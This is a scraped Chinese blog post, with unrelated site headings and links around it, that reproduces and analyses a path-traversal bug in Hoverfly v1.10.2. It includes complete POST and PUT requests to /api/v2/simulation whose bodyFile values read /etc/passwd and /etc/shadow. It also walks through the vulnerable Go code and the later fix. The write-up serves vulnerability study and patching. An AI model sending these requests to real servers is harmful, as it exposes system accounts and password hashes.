当前位置: 首页 > news >正文

网站设计标题如何修改网站后台登陆入口路劲

网站设计标题,如何修改网站后台登陆入口路劲,洛阳建设工程网站,小程序代码怎么获取漏洞简介 Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation​ 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而#xff0c;这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管…漏洞简介 Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation​ 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管代码禁止指定绝对路径但攻击者可以通过使用 ../​ 段来逃离 hf.Cfg.ResponsesBodyFilesPath​ 基本路径从而访问任何任意文件。 环境搭建 我们还是利用 docker 来搭建环境 https://hub.docker.com/r/spectolabs/hoverfly/tags docker pull spectolabs/hoverfly:v1.10.2 docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2   ‍ 漏洞复现 构造数据包 POST /api/v2/simulation HTTP/1.1 Host: 127.0.0.1:8888 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8888/dashboard Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9 Connection: close Content-Length: 126 Content-Type: application/x-www-form-urlencoded ​ {data:{pairs:[{ request:{},response: { bodyFile: ../../../../../etc/passwd}} ]},meta:{schemaVersion:v5.2}} PUT /api/v2/simulation HTTP/1.1 Host: 127.0.0.1:8888 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8888/dashboard Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9 Connection: close Content-Length: 126 Content-Type: application/x-www-form-urlencoded ​ {data:{pairs:[{ request:{},response: { bodyFile: ../../../../../etc/shadow}} ]},meta:{schemaVersion:v5.2}} 【----帮助网安学习以下所有学习资料免费领加vxdctintin备注 “博客园” 获取】 ① 网安学习成长路径思维导图  ② 60网安经典常用工具包  ③ 100SRC漏洞分析报告  ④ 150网安攻防实战技术电子书  ⑤ 最权威CISSP 认证考试指南题库  ⑥ 超1800页CTF实战技巧手册  ⑦ 最新网安大厂面试题合集含答案  ⑧ APP客户端安全检测指南安卓IOS 漏洞分析 hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#RegisterRoutes 定义了 SimulationHandler​ 的路由注册方法路由的每个 HTTP 方法如 GET​、PUT​、POST​、DELETE​ 等都有一个对应的处理函数 (this.Get​、this.Put​、this.Post​、this.Delete​、this.Options​、this.GetSchema​)。这些函数处理实际的业务逻辑。 GET /api/v2/simulation: 处理获取模拟数据。 PUT /api/v2/simulation: 处理更新模拟数据。 POST /api/v2/simulation: 处理创建新的模拟数据。 DELETE /api/v2/simulation: 处理删除模拟数据。 OPTIONS /api/v2/simulation: 提供有关 /api/v2/simulation​ 端点允许的 HTTP 方法的信息。 GET /api/v2/simulation/schema: 获取模拟数据的 schema结构。 OPTIONS /api/v2/simulation/schema: 提供有关 /api/v2/simulation/schema​ 端点允许的 HTTP 方法的信息。 POST 和 PUT 方法 仅仅是函数的第三个参数有所不同所以两种请求方式都可以实现任意文件读取 hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#addSimulation 第三个参数的不同导致 PUT 方法在获取新的模型内容时首先删除前一个模拟内容可以重复读取不同文件内容。POST 仅仅只能读取一次文件内容无法更新。 hoverfly-1.10.2\core\hoverfly_service.go#PutSimulation hoverfly-1.10.2\core\hoverfly_service.go#putOrReplaceSimulation hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFiles hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFile 这里就是漏洞产生的关键原因对传入的参数 filePath 没有做具体的校验可以通过 ../​ 实现跨越目录的读取文件 我们看到最新版已经对传入的参数进行了处理 hoverfly-1.10.4\core\hoverfly_funcs.go#readResponseBodyFile hoverfly-1.10.4\core\util\util.go#ResolveAndValidatePath 这个 ResolveAndValidatePath​ 函数用于从一个绝对路径absBasePath​解析一个相对路径relativePath​并验证这个相对路径是否合法。具体来说它确保了相对路径不会尝试向上回溯使用 ..​并且解析后的路径仍然在基路径之下。
http://www.sczhlp.com/news/152751/

相关文章:

  • 彩票网站做一级代理犯法吗小型网站建设实训教程
  • 长沙专业网站建设公司常用博客建站程序
  • 正规html5网站营销型网站开发定制
  • 建设银行纪检监察网站网站开发所需人员
  • 怎么把网站上的通栏wordpress 文档管理系统
  • 可以自己做斗图的网站天天作文网
  • 全国住房建设部网站html自动导入wordpress
  • 商品标题关键词优化seo百度关键词优化软件
  • 厦门市网站建设软件开发公司山东电力建设网站
  • html5网站开发费用怎么用路由器做网站
  • 建筑网站招聘阿里云网页版入口
  • 做购物网站收费wordpress 数据库迁移
  • 广州网站优化费用网站的建设需要虚拟机吗
  • 做一个网站放网上要多少钱app网站建设济宁
  • 服装网站欣赏商务网站建设的项目体会
  • 驾校网站模版上海市建设工程检测行业协会网站
  • 网站建设服务哪家有德阳小程序开发
  • 装修类网站模板下载企业oa网站建设方案
  • 企业宣传网站建设需求说明书网站和discuz同步登录
  • 软件开发流程ppt中山网站seo优化
  • 本地网站建设开发信息大全辽宁建设工程信息网盲盒
  • 公司网站维护该谁来做seo百度网站排名研究中心关键词首页优化
  • 我有服务器和模板怎么做网站网站做推广的团队
  • 怎样网站建设与管理wordpress 联盟广告位
  • 网站手机微信三合一怎么做wordpress添加描述关键词
  • 部门网站建设工作总结项目管理过程五个阶段
  • 成都最好的汽车网站建设京东网站建设的特点
  • 个股期权网站开发中国建设银行驻莫斯科网站
  • 推荐购物网站建设网页设计师资格证查询官网
  • 视频网站建站程序视频教程网